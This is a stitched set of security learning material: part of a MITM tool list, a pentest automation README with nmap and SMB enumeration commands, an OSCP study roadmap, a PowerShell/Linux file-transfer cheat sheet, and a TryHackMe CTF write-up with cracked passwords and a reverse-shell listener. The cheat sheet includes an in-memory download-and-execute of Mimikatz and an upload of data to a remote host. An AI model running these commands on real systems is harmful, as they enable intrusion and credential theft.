- [**15**星][7y] [Ruby] [yakindanegitim/mbfuzzer](https://github.com/yakindanegitim/mbfuzzer) Mobile Application Fuzzer via SSL MITM
- [**14**星][6m] [Rust] [nlevitt/monie](https://github.com/nlevitt/monie) man-in-the-middle http/https proxy library in rust
- [**12**星][1y] [Go] [syncsynchalt/dime-a-tap](https://github.com/syncsynchalt/dime-a-tap) Man-in-the-middle TLS intercept proxy with tcpdumpable loopback
- [**12**星][2y] [C++] [wakbox/wakxy](https://github.com/wakbox/wakxy) Wakxy is a Wakfu packet sniffer (MITM). Written in C++/Qt with Javascript scripting support.
- [**12**星][9m] [C++] [spx01/switch-nfp-mitm](https://github.com/spx01/switch-nfp-mitm) Man-in-the-middle the Nintendo Switch's nfp:user service to spoof Amiibos.
- [**11**星][11m] [Py] [nametoolong/oregano](https://github.com/nametoolong/oregano) Man-in-the-middle against Tor bridges
- [**10**星][6m] [HTML] [chinarulezzz/refluxion](https://github.com/chinarulezzz/refluxion) Refluxion -- MITM WPA attacks tool
- [**10**星][11m] [Py] [daniel4x/mitm-python](https://github.com/daniel4x/mitm-python) A simple as possible man in the middle written in python using scapy
- 重复区段: [工具->Scapy](#01f99d208e245eb44f15f720043b50d4) |
- [**9**星][5m] [Py] [skyplabs/scapy-mitm](https://github.com/skyplabs/scapy-mitm) ARP cache poisoning implementation using Scapy
- 重复区段: [工具->Scapy](#01f99d208e245eb44f15f720043b50d4) |
- [**9**星][4y] [8tiqa/vpn-security-analysis](https://github.com/8tiqa/vpn-security-analysis) Investigation of the core VPN technologies | Penetration testing of an IPsec-VPN (using Ike-scan and psk-crack) | MitM Attack on PPTP-VPN (using ARPspoof, chap2asleap, CUPP2 and ASLEAP) | In-depth research of IPv6 Leakage and DNS Hijacking i
- [**8**星][3y] [johnmccabe/mitmweb-docker](https://github.com/johnmccabe/mitmweb-docker) Docker image for the mitmproxy web interface mitmweb
- [**8**星][1m] [Go] [adguardteam/gomitmproxy](https://github.com/adguardteam/gomitmproxy) Simple golang mitm proxy implementation
- [**7**星][1y] [Py] [mathewmarcus/stoptls](https://github.com/mathewmarcus/stoptls) MitM proxy which performs opportunistic SSL/TLS stripping
- [**7**星][2y] [C++] [pfussell/pivotal](https://github.com/pfussell/pivotal) A MITM proxy server for reflective DLL injection through WinINet
- [**7**星][2y] [socprime/muddywater-apt](https://github.com/socprime/muddywater-apt) MuddyWater is an APT group that has been active throughout 2017, targeting victims in Middle East with in-memory vectors leveraging on Powershell, in a family of attacks now identified as “Living off the land”, as they don’t require the creation of new binaries on the victim’s machine, thus maintaining a low detection profile and a low forensic footprint. The name MuddyWater has been assigned by PaloAlto in an article that describes how the actor’s backdoor, called POWERSTATS, evolved over the past year. For the sake of clarity we decided to maintain the same names. The operators behind MuddyWater are likely espionage motivated, we derive this information from the analysis of data and backdoors behaviors. We also find that despite the strong preponderance of victims from Pakistan, the most active targets appear to be in: Saudi Arabia, UAE and Iraq. Amongst the victims we identify a variety of entities with a stronger focus at Governments, Telcos and Oil companies.
- [**7**星][1m] [Py] [th3hurrican3/mitm](https://github.com/th3hurrican3/mitm) A simple yet effective python3 script to perform DNS spoofing via ARP poisoning
- [**6**星][2y] [Java] [arvahedi/gl4dius](https://github.com/arvahedi/gl4dius) A very powerful tool for All kind of MITM attacks
- [**6**星][10m] [JS] [cutenode/mitm.cool](https://github.com/cutenode/mitm.cool) source code for mitm.cool, a dead-simple site that doesn't have SSL... allowing public WiFi to MITM the request and get you authenticated
- [**6**星][2y] [Go] [pulkitsharma07/proxybench](https://github.com/pulkitsharma07/proxybench) Benchmark different man-in-the-middle proxies
- [**6**星][5y] [Shell] [mrmugiwara/airbase-ng-sslstrip-airstrip-](https://github.com/mrmugiwara/airbase-ng-sslstrip-airstrip-) While documenting some MitM attacks I was looking into setting up a fake AP with BT5 and my good old loved ALFA . There's a whole bunch of scripts out there which do the job nicely, if you are ready to modify them here and there. In order for it to work, you need to run airmon-ng to start the card in monitor mode, run airbase-ng to run it in AP …
- [**5**星][4y] [Py] [0x8008135/pymitm6](https://github.com/0x8008135/pymitm6)
- [**5**星][18d] [JS] [hotstu/open-slim-mock](https://github.com/hotstu/open-slim-mock) A lightweight & flexible nodejs powered web server for mock testing & MITM reverse proxy 一款基于nodejs的服务端程序，用于在app的开发调试阶段更好的与后端人员协作，便于前后端分离，快速定位接口问题
- [**5**星][1y] [TS] [pogosandbox/node-pogo-mitm](https://github.com/pogosandbox/node-pogo-mitm)
- [**5**星][2y] [C++] [xiaxiaoyu1988/smitm](https://github.com/xiaxiaoyu1988/smitm) A http and https mitm tool
- [**4**星][2y] [Py] [gteissier/cve-2016-6271](https://github.com/gteissier/cve-2016-6271) Proof of concept for ZRTP man-in-the-middle
- [**4**星][1y] [Py] [mh4x0f/kinproxy](https://github.com/mh4x0f/kinproxy) my implements transparent proxies (mitmproxy) can use to intercept and manipulate HTTP traffic modifying requests and responses. CLI
- [**4**星][2y] [C++] [robertblackwell/marvincpp](https://github.com/robertblackwell/marvincpp) a C++ version of the man-in-the-middle proxy based around BOOST/ASIO's async IO model
- [**4**星][1y] [Py] [tanc7/facerider](https://github.com/tanc7/facerider) New and improved Man-In-The-Middle Framework fixes for Nethunter Phones and Tablets
- [**4**星][6y] [wshen0123/mitm-rogue-wifi-ap](https://github.com/wshen0123/mitm-rogue-wifi-ap) MITM Attack Example Code with Rogue Wi-Fi AP
- [**3**星][5y] [Perl] [em616/juli](https://github.com/em616/juli) A simple automated perl script for MiTM ( man-in-the-middle ) attacks.
- [**2**星][2y] [Py] [alvarogzp/man-in-the-middle](https://github.com/alvarogzp/man-in-the-middle) Python library implementing a network proxy with the ability to modify stream data
- [**2**星][3y] [Go] [andream16/gocrackerino](https://github.com/andream16/gocrackerino) Go Meet in The Middle Key Cracker
- [**2**星][1y] [Shell] [apacketofsweets/buttertrace](https://github.com/apacketofsweets/buttertrace) A wrapper that combines the use of arpspoof & tcpdump in order to perform MITM traffic interception
- [**2**星][8y] [Py] [crapworks/nervensaege](https://github.com/crapworks/nervensaege) SSL MitM Proxy for attacking online banking transactions
- [**2**星][2m] [Py] [danngalann/arpdos](https://github.com/danngalann/arpdos) A python script to DoS / MITM every device on the network (except yourself ;))
- [**2**星][3y] [Py] [gosecure/wsuspect-proxy](https://github.com/gosecure/wsuspect-proxy) WSUSpect Proxy - a tool for MITM'ing insecure WSUS connections
- [**2**星][4y] [C#] [hotallday/xat-mitm](https://github.com/hotallday/xat-mitm) Man in the middle attack on xat chats
- [**2**星][6y] [Py] [koto/exceed-mitm](https://github.com/koto/exceed-mitm) Exceed OnDemand MITM proof-of-concept
- [**2**星][2m] [Py] [nametoolong/mesona](https://github.com/nametoolong/mesona) MITM proxy with GnuTLS's record length hiding
- [**2**星][2y] [Swift] [windblaze/aegis](https://github.com/windblaze/aegis) MITM protection for MacOS
- [**1**星][2y] [JS] [keygen-sh/example-signature-verification](https://github.com/keygen-sh/example-signature-verification) An example implementation of verifying response signatures using RSA cryptography to prevent tampering with API response payloads, licensing bypasses, MITM attacks, etc.
- [**1**星][2y] [Ruby] [samyoyo/bettercap](https://github.com/samyoyo/bettercap) A complete, modular, portable and easily extensible MITM framework.
- [**1**星][2y] [Java] [vincent-winner/lanmitm](https://github.com/vincent-winner/lanmitm) 中间人攻击-安卓
- [**0**星][2y] [Py] [bioverflow/injectionpoint](https://github.com/bioverflow/injectionpoint) MiTM attack to inject JS code in a public WiFi hotspot, initially to cryptocurrency
- [**0**星][6y] [Shell] [ekultek/suddensix](https://github.com/ekultek/suddensix) IPV6 MITM attack tool
- [**0**星][3y] [C#] [klemenb/fiddly](https://github.com/klemenb/fiddly) A simple man-in-the-middle attack tool used for applying filters to the HTTP traffic on the local network.
***
## <a id="4958460c709a66ca528f1732117e8dfd"></a>收集
- [**145**星][2y] [chan9390/awesome-mitm](https://github.com/chan9390/awesome-mitm) Curated List of MitM frameworks on GitHub
***
## <a id="b4959a15647a6dcf79901f76655d0ca8"></a>mitmproxy
- [**17196**星][7d] [Py] [mitmproxy/mitmproxy](https://github.com/mitmproxy/mitmproxy) An interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.
- [**779**星][2y] [Py] [secretsquirrel/bdfproxy](https://github.com/secretsquirrel/bdfproxy) Patch Binaries via MITM: BackdoorFactory + mitmProxy. (NOT SUPPORTED)
- [**261**星][2y] [Go] [zboya/gomitmproxy](https://github.com/zboya/gomitmproxy) gomitmproxy是想用golang语言实现[mitmproxy]，实现http(s)代理
- [**170**星][3m] [JS] [wuchangming/node-mitmproxy](https://github.com/wuchangming/node-mitmproxy) node-mitmproxy is an extensible man-in-the-middle(MITM) proxy server for HTTP/HTTPS base on Node.js.
- [**96**星][2y] [Py] [jjf012/passivescanner](https://github.com/jjf012/passivescanner) a passive scanner based on Mitmproxy and Arachni
- [**68**星][1y] [Py] [feeicn/webproxy](https://github.com/feeicn/webproxy) Create an HTTP / HTTPS proxy server based on MITMProxy and log all requests to the log file and parse the log for rewriting into the database.
- [**59**星][2y] [Py] [cortesi/mitmproxy](https://github.com/cortesi/mitmproxy) An interactive SSL-capable intercepting HTTP proxy for penetration testers and software developers
- [**23**星][7m] [TS] [jvilk/mitmproxy-node](https://github.com/jvilk/mitmproxy-node) A bridge between Python's mitmproxy and Node.JS programs. Rewrite network requests using Node.JS!
- [**11**星][12m] [JS] [xtr4nge/fruityproxy](https://github.com/xtr4nge/fruityproxy) FruityProxy allows MITM attacks. MITMproxy inline scripts can be imported. It is possible to set an upstream proxy. FruityProxy is part of FruityWifi project. It provides a RESTful API.
- [**7**星][6m] [Py] [muzuiget/mitmpcap](https://github.com/muzuiget/mitmpcap) 将mitmproxy的流量导出到pcap文件
- [**6**星][1y] [Py] [kr1tzb1tz/mitmproxy_pwnage](https://github.com/kr1tzb1tz/mitmproxy_pwnage)
- [**1**星][6y] [kenjoe41/mitmproxy](https://github.com/kenjoe41/mitmproxy) An interactive SSL-capable intercepting HTTP proxy for penetration testers and software developers
# 贡献
内容为系统自动导出, 有任何问题请提issue |
# haise
## Internal Network Pentest Framework
## Internal Penetration Testing:
An Internal Penetration Test differs from a vulnerability assessment in that it actually exploits the vulnerabilities to determine what information is actually exposed. An Internal Penetration Test mimics the actions of an actual attacker exploiting weaknesses in network security without the usual dangers. This test examines internal IT systems for any weakness that could be used to disrupt the confidentiality, availability or integrity of the network
## Methodology:
• Internal Network Scanning
traceroute www.google.com
nmap 192.168.1.*
• Port Scanning
nmap -p- -T4 -iL sub.txt (Fast Scan)
nmap -A 192.168.1.1 (Little Intense and slow)
nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 192.168.1.1
nmap -sS -sC -sV -v -p 445 -iL subnet-files.txt
nmap -sS -sC -sV -v -p 21 -iL subnet-files.txt
Web Ports: 80, 8080, 443
• Fingerprinting
nmap -sV --version-intensity 5 192.168.1.1
nc 192.168.1.1 80
curl -sI http://192.168.1.1
• Vulnerbility Scanning
nmap --script vuln 192.168.1.1 -d
nikto
dirsearch
nessus (https://localhost:8834)
• IDS Penetration Testing
lbd 45.34.23.12
wafw00f http://192.168.1.1
• SMB Enumeration
Discover Host:
cme smb <subnet> (cme => crackmapexecs)
Null Session:
cme smb 192.168.24.0/24 -u '' -p ''
smbmap –host-file smb-hosts.txt
SMB Map:
smbmap -H 192.168.1.1
• Exploit Research
https://www.exploit-db.com/
https://www.rapid7.com/db/
https://cxsecurity.com/search/
• Manual Vulnerability Testing and Verification
• Password Strength Testing
rate limiting
sparta(tool)
• Infrastructure Mapping (Maltego)
DNS Server
Firewall
Cloud
Employ Device
Logging Server
Directory Service
Admin Workstation
• Common Server Misconfiguration
• Administrator Privileges Escalation
• Database Security Controls Testing
• Third-Party/Vendor Security Configuration Testing
## Tool for Automation:
Internal network could possibly contain large amount of IPs,So for automation first i generate some
one liner commands and then automate them.
## Requirements:
1. Currently only suppourt in Kali
2. download dirsearch and place it /haise/---> here <---
## Usage:
1. git clone https://github.com/syedumerqadri/haise.git
2. cd haise
3. put all discoverd OR provided cilient IPs on hosts.txt
4. python haise.py
You will got the prompt shell
## Shell:
[exit]
[clear]
[hosts] list all hosts
[alive] check if hosts are alive
[ports] port scan of all hosts
[dir] Directory Enumuration
[headers] Grab Web Headers
[scan] Grab Headers, Port Scan and Directory Enumuration for all hosts
[ids] Detect Intrusion Detection System
[smb] Check for SMB Services
## Results:
Discoverd Web Directories: dir_results
Discoverd Web headers: headers
Port Scan Results: port_scan
|
Updated posted is at https://ishaqmohammed.me/posts/pwk-oscp-preparation-roadmap/
### My roadmap for preparing for [OSCP](https://www.offensive-security.com/pwk-oscp/), anyone is free to use this and also feedback and contributions are welcome
### **101s(Enumeration)**
**1. DNS 101 (Basics of DNS and DNS enumaeration, DNS Zone Transfers)**
Possible misconfigurations and attack vectors
[DNS 101](http://www.opsschool.org/dns_101.html)
[DNS 201](http://www.opsschool.org/dns_201.html)
[DNS Hacking (Beginner to Advanced)](http://resources.infosecinstitute.com/dns-hacking/)
**2. SMB 101 (SMB Enumeration,Null Session Enumeration, NetBIOS)**
Possible misconfigurations and attack vectors
[Just what is SMB?](https://www.samba.org/cifs/docs/what-is-smb.html)
[SMB enumeration with Kali Linux – enum4linux, acccheck and smbmap](https://www.hackercoolmagazine.com/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/)
[Windows Null Session Enumeration](https://www.adampalmer.me/iodigitalsec/2013/08/10/windows-null-session-enumeration/)
[NetBIOS Enumeration And Null Session](http://nrupentheking.blogspot.com/2011/02/netbios-enumeration-and-null-session.html)
[NetBIOS and SMB Penetration Testing on Windows](http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/)
[nbtscan Cheat Sheet](https://highon.coffee/blog/nbtscan-cheat-sheet/)
**3. SMTP 101 (ENUMERATION)**
Possible misconfigurations and attack vectors
[SMTP User Enumeration](https://pentestlab.blog/2012/11/20/smtp-user-enumeration/)
**4. SNMP 101 (ENUMERATION, MIB Tree)**
Possible misconfigurations and attack vectors
[SNMP enumeration with snmpenum and snmpwalk](http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html)
**5. FTP 101 (Enumeration, File Transfers)**
Possible misconfigurations and attack vectors
**6. SSH(Enumeration, Port Forwarding)**
Possible misconfigurations and attack vectors
[SSH Tunneling Explained](https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/)
[Port Forwarding in Windows](http://woshub.com/port-forwarding-in-windows/)
### **Tools**
**1. NMAP 101 Port Scanning (TCP Connect Scan, UDP Scanning, Using NSE Scripts)**
[Hacking Articles:NMAP](http://www.hackingarticles.in/category/nmap/)
[NMAP - Port-Scanning: A Practical Approach Modified for better](https://www.exploit-db.com/papers/35425/)
**2. Wireshark 101(Capture and display filters, filters)**
**3 TCPDump (Filtering Traffic, Advanced header filtering)**
**4. Reverse and Bind shell, Transferring Files, Types of shells(tty,pty)**
[Netcat Tutorials for Beginner](http://www.hackingarticles.in/netcat-tutorials-beginner/)
[Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
[Reverse Shell Cheat Sheet](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
[7 Linux Shells Using Built-in Tools](http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/)
[Spawning a TTY Shell](https://netsec.ws/?p=337)
[Upgrading simple shells to fully interactive TTYs](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)
[Transferring Files from Linux to Windows (post-exploitation)](https://blog.ropnop.com/transferring-files-from-kali-to-windows/)
[Netcat without -e? No Problem!](https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/)
**5. Recon-NG**
[Intro to Recon-ng](https://warroom.securestate.com/recon-ng-tutorial/)
[Recon-ng: Usage Guide](https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Usage%20Guide)
**6. Metasploit**
[Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
[Creating Metasploit Payloads](https://netsec.ws/?p=331)
### **Web App Pentesting**
**1. LFI(LFI to RCE)**
[LFI Cheat Sheet](https://highon.coffee/blog/lfi-cheat-sheet/)
[Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
[5 ways to Exploit LFi Vulnerability](http://www.hackingarticles.in/5-ways-exploit-lfi-vulnerability/)
**2. RFI(RFI to RCE)**
**3. SQL Injection (SQLi to RCE)**
[Full SQL Injection Tutorial (MySQL)](https://www.exploit-db.com/papers/13045/)
[Client Side Attacks](https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/)
### **Programming**
**1. Bash 101**
[Bash Handbook](https://github.com/denysdovhan/bash-handbook)
[BASH Programming - Introduction HOW-TO](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html)
**2. Python 101**
[Python for Pentesters](http://www.pentesteracademy.com/course?id=1)
[learnpythonthehardway](https://learnpythonthehardway.org/)
**3. Ruby 101**
**4. Powershell**
**5. Assembly 101**
Security Tube:
[Assembly Language Megaprimer for Linux](http://www.securitytube.net/groups?operation=view&groupId=5)
[Windows Assembly Language Megaprimer](http://www.securitytube.net/groups?operation=view&groupId=6)
### **Write codes for the below tasks in all the above mentioned languages:**
1. Write a script to accept user input and ping all the hosts in the given range and display which hosts are alive and which are not
2. Write a script to perform a basic nmap scan on the given host
3. Write a script to crawl hyperlinks from a given file and display them in output
### **OS(Users,Privilages,Groups,UID,UAC)**
[A GUIDE TO LINUX PRIVILEGE ESCALATION by Rashid Feroz](https://payatu.com/guide-linux-privilege-escalation/)
**1. Post-Exploitation**
Priivilage Escalation(Windows and Linux)
[Elevating privileges by exploiting weak folder permissions](http://www.greyhathacker.net/?p=738)
[Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
[Windows Privilege Escalation Commands](http://pwnwiki.io/#!privesc/windows/index.md)
[Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
[MySQL Root to System Root with lib_mysqludf_sys for Windows and Linux](https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/)
[A GUIDE TO LINUX PRIVILEGE ESCALATION by Rashid Feroz](https://payatu.com/guide-linux-privilege-escalation/)
[Attack and Defend: Linux Privilege Escalation
Techniques of 2016](https://www.sans.org/reading-room/whitepapers/linux/attack-defend-linux-privilege-escalation-techniques-2016-37562)
[Abusing SUDO (Linux Privilege Escalation)](http://touhidshaikh.com/blog/?p=790)
**Buffer Overflows**
[Buffer Overflow Attack - Computerphile](https://www.youtube.com/watch?v=1S0aBV-Waeo)
[Exploit writing tutorial part 1 : Stack Based Overflows](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
[Useful resources for Learning and Hands on practice for buffer overflows](https://github.com/security-prince/PWK-OSCP-Preparation-Roadmap/blob/master/BOF)
### **MISC**
[Dostoevskylabs's PenTest Notes](https://dostoevskylabs.gitbooks.io/dostoevskylabs-pentest-notes/)
[This challenge was built to promote the Windows / Linux Local Privilege](https://github.com/sagishahar/challenges#k2)
[What is Enumeration?](http://resources.infosecinstitute.com/what-is-enumeration/)
[PwnWiki.io is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained.](http://pwnwiki.io)
[Penetration Testing Tools Cheat Sheet](https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/)
[Common services](http://www.opsschool.org/common_services.html)
[CTF Resources - Pen-Test Links](https://cph-sec.github.io/)
[Blogposts on Hackthebox solutions, PWK and OSCP](https://0xdf.gitlab.io/) by [@0xdf_](https://twitter.com/0xdf_)
|
| **Command** | **Description** |
| --------------|-------------------|
| `Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1` | Download a file with PowerShell |
| `IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')` | Execute a file in memory using PowerShell |
| `Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64` | Upload a file with PowerShell |
| `bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe` | Download a file using Bitsadmin |
| `certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe` | Download a file using Certutil |
| `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh` | Download a file using Wget |
| `curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh` | Download a file using cURL |
| `php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'` | Download a file using PHP |
| `scp C:\Temp\bloodhound.zip [email protected]:/tmp/bloodhound.zip` | Upload a file using SCP |
| `scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe` | Download a file using SCP |
| `Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"` | Invoke-WebRequest using a Chrome User Agent | |
# Easy Peasy
Practice using tools such as Nmap and GoBuster to locate a hidden directory to get initial access to a vulnerable machine. Then escalate your privileges through a vulnerable cronjob.
[Easy Peasy](https://tryhackme.com/room/easypeasyctf)
## Topic's
- Network Enumeration
- Web Enumeration
- Cryptography
- Base64
- Base62
- Binary
- Web Poking
- Brute Forcing (Hash)
- Stegangraphy
- Exploiting Crontab
## Appendix archive
Password: `1 kn0w 1 5h0uldn'7!`
## Enumeration through Nmap
Deploy the machine attached to this task and use nmap to enumerate it.
1. How many ports are open?
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ sudo nmap -sC -sV -sS -Pn -p- 10.10.152.0
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 11:42 CEST
Nmap scan report for 10.10.152.0
Host is up (0.033s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.16.1
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.16.1
|_http-title: Welcome to nginx!
6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.25 seconds
```
`3`
2. What is the version of nginx?
`1.16.1`
3. What is running on the highest port?
`65524`
## Compromising the machine
Now you've enumerated the machine, answer questions and compromise it!
1. Using GoBuster, find flag 1.
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ gobuster dir -u http://10.10.152.0/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.152.0/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/05 11:44:02 Starting gobuster
===============================================================
/hidden (Status: 301)
Progress: 119963 / 220561 (54.39%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/10/05 11:51:16 Finished
===============================================================
kali@kali:~/CTFs/tryhackme/Easy Peasy$ gobuster dir -u http://10.10.152.0/hidden -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.152.0/hidden
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/05 11:52:41 Starting gobuster
===============================================================
/whatever (Status: 301)
Progress: 75300 / 220561 (34.14%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/10/05 11:57:05 Finished
===============================================================
```
- [view-source:http://10.10.152.0/hidden/whatever/](view-source:http://10.10.152.0/hidden/whatever/)
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ echo 'ZmxhZ3tmMXJzN19mbDRnfQ==' | base64 -d
flag{f1rs7_fl4g}
```
`flag{f1rs7_fl4g}`
1. Further enumerate the machine, what is flag 2?
- [http://10.10.152.0:65524/robots.txt](http://10.10.152.0:65524/robots.txt)
`a18672860d0510e5ab6699730763b250`
`flag{1m_s3c0nd_fl4g}`
2. Crack the hash with easypeasy.txt, What is the flag 3?
- [http://10.10.152.0:65524/](http://10.10.152.0:65524/)
`flag{9fdafbd64c47471a8f54cd3fc64cd312}`
3. What is the hidden directory?
- [view-source:http://10.10.152.0:65524/](view-source:http://10.10.152.0:65524/)
```html
<p hidden>its encoded with ba....:ObsJmP173N2X6dOrAgEAL0Vu</p>
```
- [Base62 Decode Online Tool](https://www.better-converter.com/Encoders-Decoders/Base62-Decode)
`/n0th1ng3ls3m4tt3r`
1. Using the wordlist that provided to you in this task crack the hash what is the password?
- [http://10.10.152.0:65524/n0th1ng3ls3m4tt3r/](http://10.10.152.0:65524/n0th1ng3ls3m4tt3r/)
`940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81`
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ john --wordlist=easypeasy.txt --format=gost matrix.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [64/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mypasswordforthatjob (?)
1g 0:00:00:00 DONE (2020-10-05 12:14) 20.00g/s 81920p/s 81920c/s 81920C/s mypasswordforthatjob..flash88
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
`mypasswordforthatjob`
1. What is the password to login to the machine via SSH?
- [http://10.10.152.0:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg](http://10.10.152.0:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg)
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ steghide extract -sf binarycodepixabay.jpg
Enter passphrase:
wrote extracted data to "secrettext.txt".
kali@kali:~/CTFs/tryhackme/Easy Peasy$ cat secrettext.txt
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
```
- [https://www.rapidtables.com/convert/number/binary-to-ascii.html](https://www.rapidtables.com/convert/number/binary-to-ascii.html)
`iconvertedmypasswordtobinary`
2. What is the user flag?
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ ssh [email protected] -p 6498
The authenticity of host '[10.10.152.0]:6498 ([10.10.152.0]:6498)' can't be established.
ECDSA key fingerprint is SHA256:hnBqxfTM/MVZzdifMyu9Ww1bCVbnzSpnrdtDQN6zSek.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.152.0]:6498' (ECDSA) to the list of known hosts.
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
[email protected]'s password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
boring@kral4-PC:~$ ls
user.txt
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
boring@kral4-PC:~$
```
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ echo "synt{a0jvgf33zfa0ez4y}" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
flag{n0wits33msn0rm4l}
```
`flag{n0wits33msn0rm4l}`
3. What is the root flag?
```
boring@kral4-PC:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
boring@kral4-PC:~$ cd /var/www/
```
```
kali@kali:~/CTFs/tryhackme/Easy Peasy$ nc -nlvp 9001
```
```
